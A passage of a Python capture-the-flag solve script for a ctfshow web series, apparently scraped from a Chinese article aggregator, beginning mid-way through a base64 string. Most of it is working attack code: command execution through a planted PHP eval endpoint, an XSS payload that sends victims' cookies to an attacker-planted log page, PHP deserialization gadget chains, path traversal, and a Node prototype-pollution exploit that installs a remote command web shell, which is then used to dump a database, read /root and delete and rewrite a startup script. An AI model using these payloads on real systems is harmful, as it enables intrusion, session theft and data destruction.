OyBjYWNoZSBpcyByZXF1aXJlZC4KO29wY2FjaGUuZmlsZV9jYWNoZV9mYWxsYmFjaz0xCgo7IEVuYWJsZXMgb3IgZGlzYWJsZXMgY29weWluZyBvZiBQSFAgY29kZSAodGV4dCBzZWdtZW50KSBpbnRvIEhVR0UgUEFHRVMuCjsgVGhpcyBzaG91bGQgaW1wcm92ZSBwZXJmb3JtYW5jZSwgYnV0IHJlcXVpcmVzIGFwcHJvcHJpYXRlIE9TIGNvbmZpZ3VyYXRpb24uCjtvcGNhY2hlLmh1Z2VfY29kZV9wYWdlcz0wCgo7IFZhbGlkYXRlIGNhY2hlZCBmaWxlIHBlcm1pc3Npb25zLgo7b3BjYWNoZS52YWxpZGF0ZV9wZXJtaXNzaW9uPTAKCjsgUHJldmVudCBuYW1lIGNvbGxpc2lvbnMgaW4gY2hyb290JmFwb3M7ZWQgZW52aXJvbm1lbnQuCjtvcGNhY2hlLnZhbGlkYXRlX3Jvb3Q9MAoKOyBJZiBzcGVjaWZpZWQsIGl0IHByb2R1Y2VzIG9wY29kZSBkdW1wcyBmb3IgZGVidWdnaW5nIGRpZmZlcmVudCBzdGFnZXMgb2YKOyBvcHRpbWl6YXRpb25zLgo7b3BjYWNoZS5vcHRfZGVidWdfbGV2ZWw9MAoKW2N1cmxdCjsgQSBkZWZhdWx0IHZhbHVlIGZvciB0aGUgQ1VSTE9QVF9DQUlORk8gb3B0aW9uLiBUaGlzIGlzIHJlcXVpcmVkIHRvIGJlIGFuCjsgYWJzb2x1dGUgcGF0aC4KO2N1cmwuY2FpbmZvID0KCltvcGVuc3NsXQo7IFRoZSBsb2NhdGlvbiBvZiBhIENlcnRpZmljYXRlIEF1dGhvcml0eSAoQ0EpIGZpbGUgb24gdGhlIGxvY2FsIGZpbGVzeXN0ZW0KOyB0byB1c2Ugd2hlbiB2ZXJpZnlpbmcgdGhlIGlkZW50aXR5IG9mIFNTTC9UTFMgcGVlcnMuIE1vc3QgdXNlcnMgc2hvdWxkCjsgbm90IHNwZWNpZnkgYSB2YWx1ZSBmb3IgdGhpcyBkaXJlY3RpdmUgYXMgUEhQIHdpbGwgYXR0ZW1wdCB0byB1c2UgdGhlCjsgT1MtbWFuYWdlZCBjZXJ0IHN0b3JlcyBpbiBpdHMgYWJzZW5jZS4gSWYgc3BlY2lmaWVkLCB0aGlzIHZhbHVlIG1heSBzdGlsbAo7IGJlIG92ZXJyaWRkZW4gb24gYSBwZXItc3RyZWFtIGJhc2lzIHZpYSB0aGUgJnF1b3Q7Y2FmaWxlJnF1b3Q7IFNTTCBzdHJlYW0gY29udGV4dAo7IG9wdGlvbi4KO29wZW5zc2wuY2FmaWxlPQoKOyBJZiBvcGVuc3NsLmNhZmlsZSBpcyBub3Qgc3BlY2lmaWVkIG9yIGlmIHRoZSBDQSBmaWxlIGlzIG5vdCBmb3VuZCwgdGhlCjsgZGlyZWN0b3J5IHBvaW50ZWQgdG8gYnkgb3BlbnNzbC5jYXBhdGggaXMgc2VhcmNoZWQgZm9yIGEgc3VpdGFibGUKOyBjZXJ0aWZpY2F0ZS4gVGhpcyB2YWx1ZSBtdXN0IGJlIGEgY29ycmVjdGx5IGhhc2hlZCBjZXJ0aWZpY2F0ZSBkaXJlY3RvcnkuCjsgTW9zdCB1c2VycyBzaG91bGQgbm90IHNwZWNpZnkgYSB2YWx1ZSBmb3IgdGhpcyBkaXJlY3RpdmUgYXMgUEhQIHdpbGwKOyBhdHRlbXB0IHRvIHVzZSB0aGUgT1MtbWFuYWdlZCBjZXJ0IHN0b3JlcyBpbiBpdHMgYWJzZW5jZS4gSWYgc3BlY2lmaWVkLAo7IHRoaXMgdmFsdWUgbWF5IHN0aWxsIGJlIG92ZXJyaWRkZW4gb24gYSBwZXItc3RyZWFtIGJhc2lzIHZpYSB0aGUgJnF1b3Q7Y2FwYXRoJnF1b3Q7CjsgU1NMIHN0cmVhbSBjb250ZXh0IG9wdGlvbi4KO29wZW5zc2wuY2FwYXRoPQoKOyBMb2NhbCBWYXJpYWJsZXM6CjsgdGFiLXdpZHRoOiA0CjsgRW5kOg==|base64 -d > a.txt`;'})
#获取内网ip
r1=sess.post(url+"1.php",data={'1':'echo `cat /etc/hosts`;'})
#print(r1.text)
ip1=re.findall('(172.*?)web',r1.text,re.S)[0].strip()
#print(ip1)
ip2=re.sub("\.4$",'.5',ip1)  #另外一台服务器地址
print(ip2)
print(re.findall('flag_.*?=ctfshow{.*?}',sess.post(url+'1.php',data={'1':"echo `curl http://{0}/phpinfo.php`;".format(ip2)}).text)[0])

#ssss='bash -c "echo dmFyIGh0dHAgPSByZXF1aXJlKCdodHRwJyk7CnZhciBxdWVyeXN0cmluZyA9IHJlcXVpcmUoJ3F1ZXJ5c3RyaW5nJyk7Cgp2YXIgcG9zdEhUTUwgPSAnMTIzJzsKIApodHRwLmNyZWF0ZVNlcnZlcihmdW5jdGlvbiAocmVxLCByZXMpIHsKICB2YXIgYm9keSA9ICIiOwogIHJlcS5vbignZGF0YScsIGZ1bmN0aW9uIChjaHVuaykgewogICAgYm9keSArPSBjaHVuazsKICB9KTsKICByZXEub24oJ2VuZCcsIGZ1bmN0aW9uICgpIHsKICAgIGJvZHkgPSBxdWVyeXN0cmluZy5wYXJzZShib2R5KTsKICAgIHJlcy53cml0ZUhlYWQoMjAwLCB7J0NvbnRlbnQtVHlwZSc6ICd0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmOCd9KTsKIHRyeXsKICAgIGlmKGJvZHkuY21kKSB7CiAgICAgICAgcmVzLndyaXRlKCJ1c2VybmFtZe+8miIgKyBib2R5LmNtZCk7CiAgICAgICAgdmFyIHJlc3VsdD0gZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdiYXNoIC1jICInK2JvZHkuY21kKyciJykudG9TdHJpbmcoKTsKICAgICAgICByZXMud3JpdGUocmVzdWx0KTsKICAgIH0gZWxzZSB7CiAgICAgICAgcmVzLndyaXRlKHBvc3RIVE1MKTsKICAgIH19CiAgICBjYXRjaHsKICAgICAgIHJlcy53cml0ZShwb3N0SFRNTCk7IAogICAgfQogICAgcmVzLmVuZCgpOwogIH0pOwp9KS5saXN0ZW4oODAzMyk7Cg==|base64 -d > /home/node/aa.js;node /home/node/aa.js"'
#print(base64.b64encode(ssss.encode()))
#xss获取cookie
sess.post(url+'1.php',data={'1':"file_put_contents('log.php','<?php highlight_file(__FILE__);$parameter = $_SERVER[\"QUERY_STRING\"].$_SERVER[\"HTTP_COOKIE\"];file_put_contents(\"log.txt\",$parameter);');?>"})
u="http://{0}/log.php?s=".format(ip1) #当然每个人的内网地址可能不一样
#u="http://{0}/?action=main&".format(ip2)
#a='''echo `curl -i -X POST -H 'Content-type':'application/json' -d "{\\"__proto__\\":{\\"__proto__\\": {\\"type\\":\\"Block\\",\\"nodes\\":\\"\\",\\"compileDebug\\":1,\\"self\\":1,\\"line\\":\\"global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiZWNobyBkbUZ5SUdoMGRIQWdQU0J5WlhGMWFYSmxLQ2RvZEhSd0p5azdDblpoY2lCeGRXVnllWE4wY21sdVp5QTlJSEpsY1hWcGNtVW9KM0YxWlhKNWMzUnlhVzVuSnlrN0NncDJZWElnY0c5emRFaFVUVXdnUFNBbk1USXpKenNLSUFwb2RIUndMbU55WldGMFpWTmxjblpsY2lobWRXNWpkR2x2YmlBb2NtVnhMQ0J5WlhNcElIc0tJQ0IyWVhJZ1ltOWtlU0E5SUNJaU93b2dJSEpsY1M1dmJpZ25aR0YwWVNjc0lHWjFibU4wYVc5dUlDaGphSFZ1YXlrZ2V3b2dJQ0FnWW05a2VTQXJQU0JqYUhWdWF6c0tJQ0I5S1RzS0lDQnlaWEV1YjI0b0oyVnVaQ2NzSUdaMWJtTjBhVzl1SUNncElIc0tJQ0FnSUdKdlpIa2dQU0J4ZFdWeWVYTjBjbWx1Wnk1d1lYSnpaU2hpYjJSNUtUc0tJQ0FnSUhKbGN5NTNjbWwwWlVobFlXUW9NakF3TENCN0owTnZiblJsYm5RdFZIbHdaU2M2SUNkMFpYaDBMMmgwYld3N0lHTm9ZWEp6WlhROWRYUm1PQ2Q5S1RzS0lIUnllWHNLSUNBZ0lHbG1LR0p2WkhrdVkyMWtLU0I3Q2lBZ0lDQWdJQ0FnY21WekxuZHlhWFJsS0NKMWMyVnlibUZ0WmUrOG1pSWdLeUJpYjJSNUxtTnRaQ2s3Q2lBZ0lDQWdJQ0FnZG1GeUlISmxjM1ZzZEQwZ1oyeHZZbUZzTG5CeWIyTmxjM011YldGcGJrMXZaSFZzWlM1amIyNXpkSEoxWTNSdmNpNWZiRzloWkNnblkyaHBiR1JmY0hKdlkyVnpjeWNwTG1WNFpXTlRlVzVqS0NkaVlYTm9JQzFqSUNJbksySnZaSGt1WTIxa0t5Y2lKeWt1ZEc5VGRISnBibWNvS1RzS0lDQWdJQ0FnSUNCeVpYTXVkM0pwZEdVb2NtVnpkV3gwS1RzS0lDQWdJSDBnWld4elpTQjdDaUFnSUNBZ0lDQWdjbVZ6TG5keWFYUmxLSEJ2YzNSSVZFMU1LVHNLSUNBZ0lIMTlDaUFnSUNCallYUmphSHNLSUNBZ0lDQWdJSEpsY3k1M2NtbDBaU2h3YjNOMFNGUk5UQ2s3SUFvZ0lDQWdmUW9nSUNBZ2NtVnpMbVZ1WkNncE93b2dJSDBwT3dwOUtTNXNhWE4wWlc0b09EQXpNeWs3Q2c9PXxiYXNlNjQgLWQgPiAvaG9tZS9ub2RlL2FhLmpzO25vZGUgL2hvbWUvbm9kZS9hYS5qcyI=|base64 -d|bash')\\"}}}" http://'''+ip2+''':3000/login`;'''
a=''
#print(a)
sess.post(url+'1.php',data={'1':a})
for i in u:
    a=a+str(ord(i))+','
a=re.sub(",$",'',a)
#sess.post(url+"1.php",data={'1':'`curl --header "X-Forwarded-For:<script>window.location.href=String.fromCharCode({0})+document.cookie;</script>" http://{1}/index.php?action=login\&u=1aaaxp12\&p=345`;'.format(a,ip2)})

sess.post(url+"1.php",data={'1':'`curl --header "X-Forwarded-For:<script>window.location.href=String.fromCharCode({0})+document.cookie;</script>" http://{1}/index.php?action=login\&u=0002\&p=345`;'.format(a,ip2)})
## 隔上一两分钟访问log.txt就能拿到cookie和auth
while True:
    try:
        log=sess.get(url+'log.txt').text
        phpsessid=re.findall("(PHPSESSID=.*?);%20",log)[0]
        auth=re.findall("(auth=.*)",log)[0]
        #print(phpsessid)
        flag656=str(base64.b64decode(auth))
        #web656
        print(re.findall('flag.*?=ctfshow{.*?}',flag656)[0])
        break
    except:
        print('error')
        time.sleep(60)# 应该是一分钟一次
## 拿着cookie去登录

#web657
r2=sess.post(url+"1.php",data={'1':'echo ` curl --header "Cookie:{0};{1}" -i http://{2}/index.php?action=main\\&m=getFlag`;'.format(phpsessid,auth,ip2)})
print(re.findall('flag.*?=ctfshow{.*?}',r2.text)[0])

#web658
ser="O%3A32%3A%22Codeception%5CExtension%5CRunProcess%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00output%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A5%3A%22jiang%22%3B%7Ds%3A43%3A%22%00Codeception%5CExtension%5CRunProcess%00processes%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3BO%3A28%3A%22GuzzleHttp%5CPsr7%5CAppendStream%22%3A2%3A%7Bs%3A37%3A%22%00GuzzleHttp%5CPsr7%5CAppendStream%00streams%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A29%3A%22GuzzleHttp%5CPsr7%5CCachingStream%22%3A2%3A%7Bs%3A43%3A%22%00GuzzleHttp%5CPsr7%5CCachingStream%00remoteStream%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bb%3A0%3B%7Ds%3A6%3A%22stream%22%3BO%3A26%3A%22GuzzleHttp%5CPsr7%5CPumpStream%22%3A3%3A%7Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00source%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A231%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A76%3A%22function%28%29%7B%5Cphpinfo%28%29%3B%5Chighlight_file%28%27%2Fvar%2Fwww%2Fhtml%2Fflag.php%27%29%3B%5Cphpinfo%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A26%3A%22GuzzleHttp%5CPsr7%5CPumpStream%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000004e63ed86000000002cc68e15%22%3B%7D%7Ds%3A32%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00size%22%3Bi%3A-10%3Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00buffer%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A1%3A%22j%22%3B%7D%7D%7D%7Ds%3A38%3A%22%00GuzzleHttp%5CPsr7%5CAppendStream%00seekable%22%3Bb%3A1%3B%7D%7D%7D%7D"
data={'1':'echo ` curl  -H "Content-Type: application/x-www-form-urlencoded"   -X POST  -d "UnserializeForm[ctfshowUnserializeData]={0}" http://{1}:8888?r=site/unserialize\\&key=flag_663%3Dctfshow%7Bfa5cc1fb0bfc986d1ef150269c0de197%7D`;'.format(ser,ip2)}
flags=re.findall('flag.*?=ctfshow{.*?}',sess.post(url+"1.php",data=data).text)
print(flags[4])
#web659
print(flags[5])

#web660
sess.post(url+"1.php",data={'1':'`curl --header "X-Forwarded-For:<script>window.location.href=String.fromCharCode({0})+document.cookie;</script>" http://{1}/index.php?action=login\&u=1aaaxp12\&p=345`;'.format(a,ip2)})
print(re.findall('flag.*?ctfshow{.*?}',sess.post(url+'1.php',data={'1':"echo file_get_contents('http://{0}/public../var/log/nginx/ctfshow_web_access_log_file_you_never_know.log ');".format(ip2)}).text)[0])

#web661
print(re.findall('flag.*?=ctfshow{.*?}',sess.post(url+'1.php',data={'1':"echo file_get_contents('http://{0}/public../home/flag/secret.txt');".format(ip2)}).text)[0])

#web662 web663
'''
for i in range(0,4096):
    r=sess.post(url+'1.php',data={'1':'echo file_get_contents("http://{0}/{1}.html");'.format(ip2,hex(i).replace('0x','').zfill(3))})
    if "404"  not in r.text:
        print(i)
        print(r.text)
        break
'''
#web664
ser="O%3A32%3A%22Codeception%5CExtension%5CRunProcess%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00output%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A5%3A%22jiang%22%3B%7Ds%3A43%3A%22%00Codeception%5CExtension%5CRunProcess%00processes%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3BO%3A28%3A%22GuzzleHttp%5CPsr7%5CAppendStream%22%3A2%3A%7Bs%3A37%3A%22%00GuzzleHttp%5CPsr7%5CAppendStream%00streams%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A29%3A%22GuzzleHttp%5CPsr7%5CCachingStream%22%3A2%3A%7Bs%3A43%3A%22%00GuzzleHttp%5CPsr7%5CCachingStream%00remoteStream%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bb%3A0%3B%7Ds%3A6%3A%22stream%22%3BO%3A26%3A%22GuzzleHttp%5CPsr7%5CPumpStream%22%3A3%3A%7Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00source%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A228%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A73%3A%22function%28%29%7B%5Cphpinfo%28%29%3B%5Chighlight_file%28%27%2Fvar%2Foa%2Fflag664.php%27%29%3B%5Cphpinfo%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A26%3A%22GuzzleHttp%5CPsr7%5CPumpStream%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000000b45001f0000000040612da3%22%3B%7D%7Ds%3A32%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00size%22%3Bi%3A-10%3Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00buffer%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A1%3A%22j%22%3B%7D%7D%7D%7Ds%3A38%3A%22%00GuzzleHttp%5CPsr7%5CAppendStream%00seekable%22%3Bb%3A1%3B%7D%7D%7D%7D"
data={'1':'echo ` curl  -H "Content-Type: application/x-www-form-urlencoded"   -X POST  -d "UnserializeForm[ctfshowUnserializeData]={0}" http://{1}:8888?r=site/unserialize\\&key=flag_663%3Dctfshow%7Bfa5cc1fb0bfc986d1ef150269c0de197%7D`;'.format(ser,ip2)}
flags=re.findall('flag_.*?=ctfshow{.*?}',sess.post(url+"1.php",data=data).text)
print(flags[2])

#web665
print(re.findall('flag.*?=ctfshow{.*?}',sess.post(url+'1.php',data={'1':"echo file_get_contents('http://{0}/public../FLAG665');".format(ip2)}).text)[0])

#web667
print(re.findall('flag_.*?=ctfshow{.*?}',sess.post(url+'1.php',data={'1':"echo file_get_contents('http://{0}:3000');".format(ip2)}).text)[0])

a='''echo `curl -i -X POST -H 'Content-type':'application/json' -d "{\\"__proto__\\":{\\"__proto__\\": {\\"type\\":\\"Block\\",\\"nodes\\":\\"\\",\\"compileDebug\\":1,\\"self\\":1,\\"line\\":\\"global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiZWNobyBkbUZ5SUdoMGRIQWdQU0J5WlhGMWFYSmxLQ2RvZEhSd0p5azdDblpoY2lCeGRXVnllWE4wY21sdVp5QTlJSEpsY1hWcGNtVW9KM0YxWlhKNWMzUnlhVzVuSnlrN0NncDJZWElnY0c5emRFaFVUVXdnUFNBbk1USXpKenNLSUFwb2RIUndMbU55WldGMFpWTmxjblpsY2lobWRXNWpkR2x2YmlBb2NtVnhMQ0J5WlhNcElIc0tJQ0IyWVhJZ1ltOWtlU0E5SUNJaU93b2dJSEpsY1M1dmJpZ25aR0YwWVNjc0lHWjFibU4wYVc5dUlDaGphSFZ1YXlrZ2V3b2dJQ0FnWW05a2VTQXJQU0JqYUhWdWF6c0tJQ0I5S1RzS0lDQnlaWEV1YjI0b0oyVnVaQ2NzSUdaMWJtTjBhVzl1SUNncElIc0tJQ0FnSUdKdlpIa2dQU0J4ZFdWeWVYTjBjbWx1Wnk1d1lYSnpaU2hpYjJSNUtUc0tJQ0FnSUhKbGN5NTNjbWwwWlVobFlXUW9NakF3TENCN0owTnZiblJsYm5RdFZIbHdaU2M2SUNkMFpYaDBMMmgwYld3N0lHTm9ZWEp6WlhROWRYUm1PQ2Q5S1RzS0lIUnllWHNLSUNBZ0lHbG1LR0p2WkhrdVkyMWtLU0I3Q2lBZ0lDQWdJQ0FnY21WekxuZHlhWFJsS0NKMWMyVnlibUZ0WmUrOG1pSWdLeUJpYjJSNUxtTnRaQ2s3Q2lBZ0lDQWdJQ0FnZG1GeUlISmxjM1ZzZEQwZ1oyeHZZbUZzTG5CeWIyTmxjM011YldGcGJrMXZaSFZzWlM1amIyNXpkSEoxWTNSdmNpNWZiRzloWkNnblkyaHBiR1JmY0hKdlkyVnpjeWNwTG1WNFpXTlRlVzVqS0NkaVlYTm9JQzFqSUNJbksySnZaSGt1WTIxa0t5Y2lKeWt1ZEc5VGRISnBibWNvS1RzS0lDQWdJQ0FnSUNCeVpYTXVkM0pwZEdVb2NtVnpkV3gwS1RzS0lDQWdJSDBnWld4elpTQjdDaUFnSUNBZ0lDQWdjbVZ6TG5keWFYUmxLSEJ2YzNSSVZFMU1LVHNLSUNBZ0lIMTlDaUFnSUNCallYUmphSHNLSUNBZ0lDQWdJSEpsY3k1M2NtbDBaU2h3YjNOMFNGUk5UQ2s3SUFvZ0lDQWdmUW9nSUNBZ2NtVnpMbVZ1WkNncE93b2dJSDBwT3dwOUtTNXNhWE4wWlc0b09EQXpNeWs3Q2c9PXxiYXNlNjQgLWQgPiAvaG9tZS9ub2RlL2FhLmpzO25vZGUgL2hvbWUvbm9kZS9hYS5qcyI=|base64 -d|bash')\\"}}}" http://'''+ip2+''':3000/login`;'''
sess.post(url+"1.php",data={'1':a})
sess.post(url+"1.php",data={'1':'echo `curl -X POST -d "1=123" http://{0}:3000`;'.format(ip2)})


#web666
while True:
    try:
        print(re.findall('flag_.*?=ctfshow{.*?}',sess.post(url+'1.php',data={'1':"echo `curl -X POST -d \"cmd=mysql -uroot -proot -e 'use ctfshow;select * from ctfshow_secret'\" http://{0}:8033`;".format(ip2)}).text)[0])

        #web668
        print(re.findall('flag_.*?=ctfshow{.*?}',sess.post(url+'1.php',data={'1':"echo `curl -X POST -d \"cmd=tac secret.txt\" http://{0}:8033`;".format(ip2)}).text)[0])
        sess.post(url+'1.php',data={'1':"echo `curl -X POST -d \"cmd=rm -rf  nodestartup.sh;echo 'cat /root/* > /home/node/a.txt ' > nodestartup.sh\" http://{0}:8033`;".format(ip2)})
        #web669
        while True:
            r=sess.post(url+'1.php',data={'1':"echo `curl -X POST -d \"cmd=cat a.txt\" http://{0}:8033`;".format(ip2)})
            if "flag" in r.text:
                print(r.text)
                break
        break
    except:
        pass
        



  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-08 13:45:21  更:2022-01-08 13:47:53 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 5:14:52-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计